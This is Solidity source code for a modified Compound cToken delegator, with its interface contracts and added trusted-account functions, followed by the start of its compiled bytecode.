pragma solidity ^0.5.16; import "./CTokenInterfaces.sol"; /** * @title Compound's CErc20Delegator Contract * @notice CTokens which wrap an EIP-20 underlying and delegate to an implementation * @author Compound */ contract CErc20Delegator is CTokenInterface, CErc20Interface, CDelegatorInterface { /** * @notice Construct a new money market * @param underlying_ The address of the underlying asset * @param comptroller_ The address of the Comptroller * @param interestRateModel_ The address of the interest rate model * @param initialExchangeRateMantissa_ The initial exchange rate, scaled by 1e18 * @param name_ ERC-20 name of this token * @param symbol_ ERC-20 symbol of this token * @param decimals_ ERC-20 decimal precision of this token * @param admin_ Address of the administrator of this token * @param implementation_ The address of the implementation the contract delegates to * @param becomeImplementationData The encoded args for becomeImplementation */ constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_, address implementation_, bytes memory becomeImplementationData) public { // Creator of the contract is admin during initialization admin = msg.sender; // First delegate gets to initialize the delegator (i.e. storage contract) delegateTo(implementation_, abi.encodeWithSignature("initialize(address,address,address,uint256,string,string,uint8)", underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_)); // New implementations always get set via the settor (post-initialize) _setImplementation(implementation_, false, becomeImplementationData); // Set the proper admin now that initialization is done admin = admin_; } /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public { require(msg.sender == admin, "CErc20Delegator::_setImplementation: Caller must be admin"); if (allowResign) { delegateToImplementation(abi.encodeWithSignature("_resignImplementation()")); } address oldImplementation = implementation; implementation = implementation_; delegateToImplementation(abi.encodeWithSignature("_becomeImplementation(bytes)", becomeImplementationData)); emit NewImplementation(oldImplementation, implementation); } /** * @notice Sender supplies assets into the market and receives cTokens in exchange * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param mintAmount The amount of the underlying asset to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function mint(uint mintAmount) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("mint(uint256)", mintAmount)); return abi.decode(data, (uint)); } /** * @notice Sender redeems cTokens in exchange for the underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemTokens The number of cTokens to redeem into underlying * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeem(uint redeemTokens) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("redeem(uint256)", redeemTokens)); return abi.decode(data, (uint)); } /** * @notice Sender redeems cTokens in exchange for a specified amount of underlying asset * @dev Accrues interest whether or not the operation succeeds, unless reverted * @param redeemAmount The amount of underlying to redeem * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function redeemUnderlying(uint redeemAmount) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("redeemUnderlying(uint256)", redeemAmount)); return abi.decode(data, (uint)); } /** * @notice Sender borrows assets from the protocol to their own address * @param borrowAmount The amount of the underlying asset to borrow * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function borrow(uint borrowAmount) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("borrow(uint256)", borrowAmount)); return abi.decode(data, (uint)); } /** * @notice Sender repays their own borrow * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrow(uint repayAmount) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("repayBorrow(uint256)", repayAmount)); return abi.decode(data, (uint)); } /** * @notice Sender repays a borrow belonging to borrower * @param borrower the account with the debt being payed off * @param repayAmount The amount to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("repayBorrowBehalf(address,uint256)", borrower, repayAmount)); return abi.decode(data, (uint)); } /** * @notice The sender liquidates the borrowers collateral. * The collateral seized is transferred to the liquidator. * @param borrower The borrower of this cToken to be liquidated * @param cTokenCollateral The market in which to seize collateral from the borrower * @param repayAmount The amount of the underlying borrowed asset to repay * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("liquidateBorrow(address,uint256,address)", borrower, repayAmount, cTokenCollateral)); return abi.decode(data, (uint)); } /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint amount) external returns (bool) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("transfer(address,uint256)", dst, amount)); return abi.decode(data, (bool)); } /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("transferFrom(address,address,uint256)", src, dst, amount)); return abi.decode(data, (bool)); } /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("approve(address,uint256)", spender, amount)); return abi.decode(data, (bool)); } /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("allowance(address,address)", owner, spender)); return abi.decode(data, (uint)); } /** * @notice Get the token balance of the `owner` * @param owner The address of the account to query * @return The number of tokens owned by `owner` */ function balanceOf(address owner) external view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("balanceOf(address)", owner)); return abi.decode(data, (uint)); } /** * @notice Get the underlying balance of the `owner` * @dev This also accrues interest in a transaction * @param owner The address of the account to query * @return The amount of underlying owned by `owner` */ function balanceOfUnderlying(address owner) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("balanceOfUnderlying(address)", owner)); return abi.decode(data, (uint)); } /** * @notice Get a snapshot of the account's balances, and the cached exchange rate * @dev This is used by comptroller to more efficiently perform liquidity checks. * @param account Address of the account to snapshot * @return (possible error, token balance, borrow balance, exchange rate mantissa) */ function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("getAccountSnapshot(address)", account)); return abi.decode(data, (uint, uint, uint, uint)); } /** * @notice Returns the current per-block borrow interest rate for this cToken * @return The borrow interest rate per block, scaled by 1e18 */ function borrowRatePerBlock() external view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("borrowRatePerBlock()")); return abi.decode(data, (uint)); } /** * @notice Returns the current per-block supply interest rate for this cToken * @return The supply interest rate per block, scaled by 1e18 */ function supplyRatePerBlock() external view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("supplyRatePerBlock()")); return abi.decode(data, (uint)); } /** * @notice Returns the current total borrows plus accrued interest * @return The total borrows with interest */ function totalBorrowsCurrent() external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("totalBorrowsCurrent()")); return abi.decode(data, (uint)); } /** * @notice Accrue interest to updated borrowIndex and then calculate account's borrow balance using the updated borrowIndex * @param account The address whose balance should be calculated after updating borrowIndex * @return The calculated balance */ function borrowBalanceCurrent(address account) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("borrowBalanceCurrent(address)", account)); return abi.decode(data, (uint)); } /** * @notice Return the borrow balance of account based on stored data * @param account The address whose balance should be calculated * @return The calculated balance */ function borrowBalanceStored(address account) public view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("borrowBalanceStored(address)", account)); return abi.decode(data, (uint)); } /** * @notice Accrue interest then return the up-to-date exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateCurrent() public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("exchangeRateCurrent()")); return abi.decode(data, (uint)); } /** * @notice Calculates the exchange rate from the underlying to the CToken * @dev This function does not accrue interest before calculating the exchange rate * @return Calculated exchange rate scaled by 1e18 */ function exchangeRateStored() public view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("exchangeRateStored()")); return abi.decode(data, (uint)); } /** * @notice Get cash balance of this cToken in the underlying asset * @return The quantity of underlying asset owned by this contract */ function getCash() external view returns (uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("getCash()")); return abi.decode(data, (uint)); } /** * @notice Applies accrued interest to total borrows and reserves. * @dev This calculates interest accrued from the last checkpointed block * up to the current block and writes new checkpoint to storage. */ function accrueInterest() public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("accrueInterest()")); return abi.decode(data, (uint)); } /** * @notice Transfers collateral tokens (this market) to the liquidator. * @dev Will fail unless called by another cToken during the process of liquidation. * Its absolutely critical to use msg.sender as the borrowed cToken and not a parameter. * @param liquidator The account receiving seized collateral * @param borrower The account having collateral seized * @param seizeTokens The number of cTokens to seize * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("seize(address,address,uint256)", liquidator, borrower, seizeTokens)); return abi.decode(data, (uint)); } /** * @notice A public function to sweep accidental ERC-20 transfers to this contract. Tokens are sent to admin (timelock) * @param token The address of the ERC-20 token to sweep */ function sweepToken(EIP20NonStandardInterface token) external { delegateToImplementation(abi.encodeWithSignature("sweepToken(address)", token)); } /*** Admin Functions ***/ /** * @notice Begins transfer of admin rights. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin. * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setPendingAdmin(address)", newPendingAdmin)); return abi.decode(data, (uint)); } /** * @notice Sets a new comptroller for the market * @dev Admin function to set a new comptroller * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setComptroller(ComptrollerInterface newComptroller) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setComptroller(address)", newComptroller)); return abi.decode(data, (uint)); } /** * @notice accrues interest and sets a new reserve factor for the protocol using _setReserveFactorFresh * @dev Admin function to accrue interest and set a new reserve factor * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setReserveFactor(uint256)", newReserveFactorMantissa)); return abi.decode(data, (uint)); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _acceptAdmin() external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_acceptAdmin()")); return abi.decode(data, (uint)); } /** * @notice Accrues interest and adds reserves by transferring from admin * @param addAmount Amount of reserves to add * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _addReserves(uint addAmount) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_addReserves(uint256)", addAmount)); return abi.decode(data, (uint)); } /** * @notice Accrues interest and reduces reserves by transferring to admin * @param reduceAmount Amount of reduction to reserves * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _reduceReserves(uint reduceAmount) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_reduceReserves(uint256)", reduceAmount)); return abi.decode(data, (uint)); } /** * @notice Accrues interest and updates the interest rate model using _setInterestRateModelFresh * @dev Admin function to accrue interest and update the interest rate model * @param newInterestRateModel the new interest rate model to use * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setInterestRateModel(address)", newInterestRateModel)); return abi.decode(data, (uint)); } /** * @notice Internal method to delegate execution to another contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param callee The contract to delegatecall * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateTo(address callee, bytes memory data) internal returns (bytes memory) { (bool success, bytes memory returnData) = callee.delegatecall(data); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return returnData; } /** * @notice Delegates execution to the implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToImplementation(bytes memory data) public returns (bytes memory) { return delegateTo(implementation, data); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts * There are an additional 2 prefix uints from the wrapper returndata, which we ignore since we make an extra hop. * @param data The raw data to delegatecall * @return The returned bytes from the delegatecall */ function delegateToViewImplementation(bytes memory data) public view returns (bytes memory) { (bool success, bytes memory returnData) = address(this).staticcall(abi.encodeWithSignature("delegateToImplementation(bytes)", data)); assembly { if eq(success, 0) { revert(add(returnData, 0x20), returndatasize) } } return abi.decode(returnData, (bytes)); } /** * @notice Delegates execution to an implementation contract * @dev It returns to the external caller whatever the implementation returns or forwards reverts */ function () external payable { require(msg.value == 0,"CErc20Delegator:fallback: cannot send value to fallback"); // delegate all other functions to current implementation (bool success, ) = implementation.delegatecall(msg.data); assembly { let free_mem_ptr := mload(0x40) returndatacopy(free_mem_ptr, 0, returndatasize) switch success case 0 { revert(free_mem_ptr, returndatasize) } default { return(free_mem_ptr, returndatasize) } } } /*** Trusted Accouns ***/ function getTrustedAdmin(address account) external view returns (bool) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("getTrustedAdmin(address)", account)); return abi.decode(data, (bool)); } function getTrustedSupplier(address account) external view returns (bool, uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("getTrustedSupplier(address)", account)); return abi.decode(data, (bool, uint)); } function getTrustedBorrower(address account) external view returns (bool, uint) { bytes memory data = delegateToViewImplementation(abi.encodeWithSignature("getTrustedBorrower(address)", account)); return abi.decode(data, (bool, uint)); } function _setTrustedAdmin(address account, bool enabled) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setTrustedAdmin(address,bool)", account, enabled)); return abi.decode(data, (uint)); } function _setTrustedSupplier(address account, bool exists, uint supplyAllowance) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setTrustedSupplier(address,bool,uint256)", account, exists, supplyAllowance)); return abi.decode(data, (uint)); } function _setTrustedBorrower(address account, bool exists, uint borrowAllowance) external returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_setTrustedBorrower(address,bool,uint256)", account, exists, borrowAllowance)); return abi.decode(data, (uint)); } } pragma solidity ^0.5.16; import "./ComptrollerInterface.sol"; import "./InterestRateModel.sol"; import "./EIP20NonStandardInterface.sol"; contract CTokenStorage { /** * @dev Guard variable for re-entrancy checks */ bool internal _notEntered; /** * @notice EIP-20 token name for this token */ string public name; /** * @notice EIP-20 token symbol for this token */ string public symbol; /** * @notice EIP-20 token decimals for this token */ uint8 public decimals; /** * @notice Maximum borrow rate that can ever be applied (.005% / block) */ uint internal constant borrowRateMaxMantissa = 0.005e16; /** * @notice Maximum fraction of interest that can be set aside for reserves */ uint internal constant reserveFactorMaxMantissa = 1e18; /** * @notice Administrator for this contract */ address payable public admin; /** * @notice Pending administrator for this contract */ address payable public pendingAdmin; /** * @notice Contract which oversees inter-cToken operations */ ComptrollerInterface public comptroller; /** * @notice Model which tells what the current interest rate should be */ InterestRateModel public interestRateModel; /** * @notice Initial exchange rate used when minting the first CTokens (used when totalSupply = 0) */ uint internal initialExchangeRateMantissa; /** * @notice Fraction of interest currently set aside for reserves */ uint public reserveFactorMantissa; /** * @notice Block number that interest was last accrued at */ uint public accrualBlockNumber; /** * @notice Accumulator of the total earned interest rate since the opening of the market */ uint public borrowIndex; /** * @notice Total amount of outstanding borrows of the underlying in this market */ uint public totalBorrows; /** * @notice Total amount of reserves of the underlying held in this market */ uint public totalReserves; /** * @notice Total number of tokens in circulation */ uint public totalSupply; /** * @notice Official record of token balances for each account */ mapping (address => uint) internal accountTokens; /** * @notice Approved token transfer amounts on behalf of others */ mapping (address => mapping (address => uint)) internal transferAllowances; /** * @notice Container for borrow balance information * @member principal Total balance (with accrued interest), after applying the most recent balance-changing action * @member interestIndex Global borrowIndex as of the most recent balance-changing action */ struct BorrowSnapshot { uint principal; uint interestIndex; } /** * @notice Mapping of account addresses to outstanding borrow balances */ mapping(address => BorrowSnapshot) internal accountBorrows; /** * @notice Container for trusted account information */ struct TrustedAccount { uint allowance; bool exists; } /** * @notice Trusted suppliers mapping */ mapping(address => TrustedAccount) internal trustedSuppliers; /** * @notice Trusted borrowers mapping */ mapping(address => TrustedAccount) internal trustedBorrowers; /** * @notice Trusted admins mapping */ mapping(address => bool) internal trustedAdmins; } contract CTokenInterface is CTokenStorage { /** * @notice Indicator that this is a CToken contract (for inspection) */ bool public constant isCToken = true; /*** Market Events ***/ /** * @notice Event emitted when interest is accrued */ event AccrueInterest(uint cashPrior, uint interestAccumulated, uint borrowIndex, uint totalBorrows); /** * @notice Event emitted when tokens are minted */ event Mint(address minter, uint mintAmount, uint mintTokens); /** * @notice Event emitted when tokens are redeemed */ event Redeem(address redeemer, uint redeemAmount, uint redeemTokens); /** * @notice Event emitted when underlying is borrowed */ event Borrow(address borrower, uint borrowAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is repaid */ event RepayBorrow(address payer, address borrower, uint repayAmount, uint accountBorrows, uint totalBorrows); /** * @notice Event emitted when a borrow is liquidated */ event LiquidateBorrow(address liquidator, address borrower, uint repayAmount, address cTokenCollateral, uint seizeTokens); /*** Admin Events ***/ /** * @notice Event emitted when pendingAdmin is changed */ event NewPendingAdmin(address oldPendingAdmin, address newPendingAdmin); /** * @notice Event emitted when pendingAdmin is accepted, which means admin is updated */ event NewAdmin(address oldAdmin, address newAdmin); /** * @notice Event emitted when comptroller is changed */ event NewComptroller(ComptrollerInterface oldComptroller, ComptrollerInterface newComptroller); /** * @notice Event emitted when interestRateModel is changed */ event NewMarketInterestRateModel(InterestRateModel oldInterestRateModel, InterestRateModel newInterestRateModel); /** * @notice Event emitted when the reserve factor is changed */ event NewReserveFactor(uint oldReserveFactorMantissa, uint newReserveFactorMantissa); /** * @notice Event emitted when the reserves are added */ event ReservesAdded(address benefactor, uint addAmount, uint newTotalReserves); /** * @notice Event emitted when the reserves are reduced */ event ReservesReduced(address admin, uint reduceAmount, uint newTotalReserves); /** * @notice EIP20 Transfer event */ event Transfer(address indexed from, address indexed to, uint amount); /** * @notice EIP20 Approval event */ event Approval(address indexed owner, address indexed spender, uint amount); /** * @notice Failure event */ event Failure(uint error, uint info, uint detail); /** * @notice Event emitted when trusted supplier is configured */ event TrustedSupplier(address indexed account, bool oldExists, uint oldAllowance, bool newExists, uint newAllowance); /** * @notice Event emitted when trusted borrower is configured */ event TrustedBorrower(address indexed account, bool oldExists, uint oldAllowance, bool newExists, uint newAllowance); /** * @notice Event emitted when trusted admin is configured */ event TrustedAdmin(address indexed account, bool enabled); /*** User Interface ***/ function transfer(address dst, uint amount) external returns (bool); function transferFrom(address src, address dst, uint amount) external returns (bool); function approve(address spender, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function balanceOf(address owner) external view returns (uint); function balanceOfUnderlying(address owner) external returns (uint); function getAccountSnapshot(address account) external view returns (uint, uint, uint, uint); function borrowRatePerBlock() external view returns (uint); function supplyRatePerBlock() external view returns (uint); function totalBorrowsCurrent() external returns (uint); function borrowBalanceCurrent(address account) external returns (uint); function borrowBalanceStored(address account) public view returns (uint); function exchangeRateCurrent() public returns (uint); function exchangeRateStored() public view returns (uint); function getCash() external view returns (uint); function accrueInterest() public returns (uint); function seize(address liquidator, address borrower, uint seizeTokens) external returns (uint); /*** Admin Functions ***/ function _setPendingAdmin(address payable newPendingAdmin) external returns (uint); function _acceptAdmin() external returns (uint); function _setComptroller(ComptrollerInterface newComptroller) public returns (uint); function _setReserveFactor(uint newReserveFactorMantissa) external returns (uint); function _reduceReserves(uint reduceAmount) external returns (uint); function _setInterestRateModel(InterestRateModel newInterestRateModel) public returns (uint); /*** Trusted Functions ***/ function getTrustedAdmin(address account) external view returns (bool); function getTrustedSupplier(address account) external view returns (bool, uint); function getTrustedBorrower(address account) external view returns (bool, uint); function _setTrustedAdmin(address account, bool enabled) external returns (uint); function _setTrustedSupplier(address account, bool exists, uint supplyAllowance) external returns (uint); function _setTrustedBorrower(address account, bool exists, uint borrowAllowance) external returns (uint); } contract CErc20Storage { /** * @notice Underlying asset for this CToken */ address public underlying; } contract CErc20Interface is CErc20Storage { /*** User Interface ***/ function mint(uint mintAmount) external returns (uint); function redeem(uint redeemTokens) external returns (uint); function redeemUnderlying(uint redeemAmount) external returns (uint); function borrow(uint borrowAmount) external returns (uint); function repayBorrow(uint repayAmount) external returns (uint); function repayBorrowBehalf(address borrower, uint repayAmount) external returns (uint); function liquidateBorrow(address borrower, uint repayAmount, CTokenInterface cTokenCollateral) external returns (uint); function sweepToken(EIP20NonStandardInterface token) external; /*** Admin Functions ***/ function _addReserves(uint addAmount) external returns (uint); } contract CDelegationStorage { /** * @notice Implementation address for this contract */ address public implementation; } contract CDelegatorInterface is CDelegationStorage { /** * @notice Emitted when implementation is changed */ event NewImplementation(address oldImplementation, address newImplementation); /** * @notice Called by the admin to update the implementation of the delegator * @param implementation_ The address of the new implementation for delegation * @param allowResign Flag to indicate whether to call _resignImplementation on the old implementation * @param becomeImplementationData The encoded bytes data to be passed to _becomeImplementation */ function _setImplementation(address implementation_, bool allowResign, bytes memory becomeImplementationData) public; } contract CDelegateInterface is CDelegationStorage { /** * @notice Called by the delegator on a delegate to initialize it for duty * @dev Should revert if any issues arise which make it unfit for delegation * @param data The encoded bytes data for any initialization */ function _becomeImplementation(bytes memory data) public; /** * @notice Called by the delegator on a delegate to forfeit its responsibility */ function _resignImplementation() public; } pragma solidity ^0.5.16; contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function exitMarket(address cToken) external returns (uint); /*** Policy Hooks ***/ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint); function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external; function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint); function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external; function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint); function borrowVerify(address cToken, address borrower, uint borrowAmount) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint); function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external; function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint); function transferVerify(address cToken, address src, address dst, uint transferTokens) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external view returns (uint, uint); } pragma solidity ^0.5.16; /** * @title Compound's InterestRateModel Interface * @author Compound */ contract InterestRateModel { /// @notice Indicator that this is an InterestRateModel contract (for inspection) bool public constant isInterestRateModel = true; /** * @notice Calculates the current borrow interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @return The borrow rate per block (as a percentage, and scaled by 1e18) */ function getBorrowRate(uint cash, uint borrows, uint reserves) external view returns (uint); /** * @notice Calculates the current supply interest rate per block * @param cash The total amount of cash the market has * @param borrows The total amount of borrows the market has outstanding * @param reserves The total amount of reserves the market has * @param reserveFactorMantissa The current reserve factor the market has * @return The supply rate per block (as a percentage, and scaled by 1e18) */ function getSupplyRate(uint cash, uint borrows, uint reserves, uint reserveFactorMantissa) external view returns (uint); } pragma solidity ^0.5.16; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom(address src, address dst, uint256 amount) external; /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); }
0x6080604052600436106103765760003560e01c80636c540baf116101d1578063b71d1a0c11610102578063f2b3abbd116100a0578063f8f9da281161006f578063f8f9da2814610eff578063fca7820b14610f14578063fd9caad714610f3e578063fe9c44ae14610f7957610376565b8063f2b3abbd14610e5f578063f3fdb15a14610e92578063f5e3c46214610ea7578063f851a44014610eea57610376565b8063c5ebeaec116100dc578063c5ebeaec14610dbb578063db006a7514610de5578063dd62ed3e14610e0f578063e9c714f214610e4a57610376565b8063b71d1a0c14610d1a578063bd6d894d14610d4d578063c37f68e214610d6257610376565b806395dd91931161016f578063a9059cbb11610149578063a9059cbb14610c74578063aa5af0fd14610cad578063ae9d70b014610cc2578063b2a02ff114610cd757610376565b806395dd919314610c02578063a0712d6814610c35578063a6afed9514610c5f57610376565b806373acee98116101ab57806373acee9814610b99578063852a12e314610bae5780638f840ddd14610bd857806395d89b4114610bed57610376565b80636c540baf14610b3c5780636f307dc314610b5157806370a0823114610b6657610376565b8063313ce567116102ab5780634576b5db11610249578063555bcc4011610223578063555bcc4014610a1e5780635c60da1b14610ae85780635fe3b56714610afd578063601a0bf114610b1257610376565b80634576b5db146109a357806347bd3718146109d6578063530e7593146109eb57610376565b80633b1d21a2116102855780633b1d21a21461087e5780633e941010146108935780634145bd38146108bd5780634487152f146108f057610376565b8063313ce567146107df578063318853c81461080a5780633af9e6691461084b57610376565b806318160ddd116103185780631fd0d3d8116102f25780631fd0d3d8146106e457806323b872dd146107325780632608f8181461077557806326782247146107ae57610376565b806318160ddd14610685578063182df0f51461069a5780631be19560146106af57610376565b80630a28e9fb116103545780630a28e9fb146105c05780630e75270214610613578063173b99041461063d57806317bfdfbc1461065257610376565b806306fdde03146104365780630933c1ed146104c0578063095ea7b314610573575b34156103b35760405162461bcd60e51b815260040180806020018281038252603781526020018061260d6037913960400191505060405180910390fd5b6015546040516000916001600160a01b031690829036908083838082843760405192019450600093509091505080830381855af49150503d8060008114610416576040519150601f19603f3d011682016040523d82523d6000602084013e61041b565b606091505b505090506040513d6000823e818015610432573d82f35b3d82fd5b34801561044257600080fd5b5061044b610f8e565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561048557818101518382015260200161046d565b50505050905090810190601f1680156104b25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104cc57600080fd5b5061044b600480360360208110156104e357600080fd5b8101906020810181356401000000008111156104fe57600080fd5b82018360208201111561051057600080fd5b8035906020019184600183028401116401000000008311171561053257600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955061101b945050505050565b34801561057f57600080fd5b506105ac6004803603604081101561059657600080fd5b506001600160a01b03813516906020013561103a565b604080519115158252519081900360200190f35b3480156105cc57600080fd5b50610601600480360360608110156105e357600080fd5b506001600160a01b0381